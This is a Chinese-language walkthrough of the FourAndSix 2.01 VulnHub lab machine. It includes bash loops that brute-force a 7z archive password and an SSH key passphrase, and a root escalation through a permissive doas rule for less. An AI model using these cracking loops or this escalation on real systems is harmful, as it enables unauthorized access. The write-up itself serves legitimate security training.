靶机

https://www.vulnhub.com/entry/fourandsix-201,266/

前期准备

运行环境:VM Workstation,VM Esxi,VirtualBox 皆可

将下载的ova文件直接导入虚拟机

目标

获取 root 权限并且读取 /root/flag.txt

主机信息

在 VM Workstation中打开导入的虚拟机,系统启动后可看到当前虚拟机 IP

靶机信息

当前靶机 IP 为192.168.32.135

服务发现

使用 Nmap 对靶机进行扫描

Nmap扫描

Nmap扫描

探测已知服务

开放 2049 端口,nmap 探测显示为 nfs 服务,使用 msf 扫描靶机可挂载目录

msf扫描挂载目录

发现可挂载目录/home/user/storage

挂载目录:nfspysh -o server=192.168.32.135:/home/user/storage /root

nfspysh挂载目录

发现 backup.7z 压缩包,使用 get backup.7z 下载到本地

下载backup.7z到本地

使用 7z e backup.7z 尝试解压,提示需要密码

尝试解压

此处可用 rarcrack 对 7z 压缩包进行暴力破解(经测试,速度慢)

./rarcrack –thread 4 –type 7z backup.7z

工具地址:http://rarcrack.sourceforge.net/

因此选择使用 7z 命令进行字典爆破

7z-crack.sh:

1
cat $2 | while read line;do if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null;then echo "FOUND PASSWORD:"$line;break;fi;done

命令如下:

bash 7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt

注:rockyou.txt 是 kali 自带的字典

运行命令后,稍等片刻可得密码为 chocolate

爆破7z压缩包密码

解压 backup.7z 发现一堆图片,以及 id_rsa 和 id_rsa.pub

压缩包文件

猜测可以通过公私钥登录服务器,将私钥放到/root/.ssh目录(cp id_rsa .ssh)下,连接服务器

尝试私钥登录服务器

提示需要输入密码,写 shell 脚本破解私钥密码

id_rsa-crack.sh:

1
cat /usr/share/wordlists/rockyou.txt | while read line;do if ssh-keygen -p -P $line -N $line -f /root/id_rsa 1>/dev/null 2>/dev/null;then echo "PASSWORD FOUND : "$line;break;fi;done;

命令如下:

bash id_rsa-crack.sh id_rsa /usr/share/wordlists/rockyou.txt

爆破rsa私钥保护密钥

爆破得到密码为12345678,连接服务器

ssh user@192.168.32.135(user 用户从挂载 nfs 服务时的目录可得到)

查看当前用户权限及系统信息

1
2
3
4
5
6
7
fourandsix2$ id

uid=1000(user) gid=1000(user) groups=1000(user), 0(wheel)

fourandsix2$ uname -a

OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64

查看/etc目录,有 doas.conf

1
2
3
4
5
fourandsix2$ cat /etc/doas.conf

permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog

permit nopass keepenv root as root

doas 是 BSD 系列系统下的权限管理工具,类似于 Debian 系列下的 sudo 命令

从 doas.conf文件可以看到,当前用户能够以 root 权限使用 less 命令查看/var/log/authlog 文件,并且不需要当前用户密码以及 root 密码

那么我们可以通过 less 进行提权

先用 doas /usr/bin/less /var/log/authlog 查看日志文件,然后直接按 v,可进入编辑模式,但是会提示只读,进入编辑模式后,可以通过 vi 编辑器操作方式,执行系统命令,即按 Esc 键,输入:!/bin/sh 并回车,此时便会提升到 root 权限

less提权

再次查看权限信息时已显示为 root 权限

less提权后的权限信息

读取/root/flag.txt内容

读取flag.txt信息

参考

https://www.kkzevip.com/?post=38